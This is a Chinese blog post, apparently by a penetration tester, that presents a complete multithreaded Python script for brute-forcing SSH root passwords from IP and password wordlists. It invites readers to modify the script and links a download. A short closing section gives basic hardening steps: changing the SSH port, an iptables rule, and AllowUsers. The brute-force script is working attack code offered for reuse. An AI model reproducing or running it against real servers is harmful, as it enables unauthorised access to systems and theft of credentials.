python多线程ssh爆破
本周需要给客户做渗透测试,扫描器中发现客户存在SSH弱口令,于是在网上找个一个SSH爆破的脚本,顺便改了一下,测试,虽然没成功~
程序目录如下:
|--ssh.scan.py
|--/log:
sshd
|--/dict:
ip
password
下面上源码吧,文件保存为ssh.scan.py
,查看使用方式:python ssh.scan.py -h
#!/usr/bin/python python # -*- coding: utf-8 -*- import paramiko,threading,sys,time,os class SSHThread(threading.Thread): def __init__(self, ip, port, timeout, dic, LogFile): threading.Thread.__init__(self) self.ip = ip self.port = port self.dict = dic self.timeout = timeout self.LogFile = LogFile def run(self): print("Start try ssh => %s" % self.ip) username = "root" try: password = open(self.dict).read().split('\n') except: print("Open dict file `%s` error" % self.dict) exit(1) for pwd in password: try: ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) ssh.connect(self.ip, self.port, username, pwd, timeout = self.timeout) print("\nIP => %s, Login %s => %s \n" % (self.ip, username, pwd)) open(self.LogFile, "a").write("[ %s ] IP => %s, port => %d, %s => %s \n" % (time.asctime( time.localtime(time.time()) ), self.ip, self.port, username, pwd)) break except: print("IP => %s, Error %s => %s" % (self.ip, username, pwd)) pass def ViolenceSSH(ip, port, timeout, dic, LogFile): ssh_scan = SSHThread(ip, port, timeout, dic, LogFile) ssh_scan.start() def main(ipFile, dic, log): if ipFile == "-h": help() try: ipText = open(ipFile).read().split('\n') for ip in ipText: if ip != '': time.sleep(0.5) threading.Thread(target = ViolenceSSH, args = (ip, 22, 1, dic, log, )).start() except: print("Open IP list file `%s` error" % ipFile) exit(1) def help(): print("python ssh.scan.py 使用说明:\n\ python ssh.scan.py ip_file_path dict_file_path ssh_log_path \n") exit(1) if __name__ == '__main__': fpath = os.path.dirname(os.path.abspath('__file__')) ipFile = sys.argv[1] if len(sys.argv) > 1 else fpath+"/dict/ip" dic = sys.argv[2] if len(sys.argv) > 2 else fpath+"/dict/password" log = sys.argv[3] if len(sys.argv) > 3 else fpath+"/log/sshd" try: os.system("clear") main(ipFile, dic, log) except KeyboardInterrupt: exit(1)
需要的内容自己修改就好了
防御:
怎么办呢?防止被人爆菊,那就修改ssh默认登陆端口吧。修改方式主要是修改ssh配置文件:
1.修改iptables
首先要过防火墙,修改防火墙规则:
/sbin/iptables -A INPUT -m state --state NEW -m tcp -p tcp --dport 2333 -j ACCEPT
保存规则:
service iptables save
重启防火墙:
service iptables restart
2.修改ssh配置文件
cp /etc/ssh/ssh_config /etc/ssh/ssh_config.bak
cp /etc/ssh/sshd_config /etc/ssh/sshd_config.bak
修改ssh端口:
vim /etc/ssh/sshd_config
在端口#Port 22下面增加Port 2333
vim /etc/ssh/ssh_config
在端口#Port 22下面增加Port 2333
重启ssh服务:
service sshd restart
3.其他修改
限制用户的SSH访问
假设我们只要xiaocao和homeway用户能通过SSH使用系统,向sshd_config配置文件中添加
vim /etc/ssh/sshd_config
修改下面一行:
AllowUsers xiaocao homeway
代码下载地址:http://homeway.me/code/python-violence-ssh.zip
因为是给客户做渗透,具体的内容就不贴出来了。
字典可以是找弱口令字典,我自己是自己现做的一个字典。
原文:https://segmentfault.com/a/1190000002921905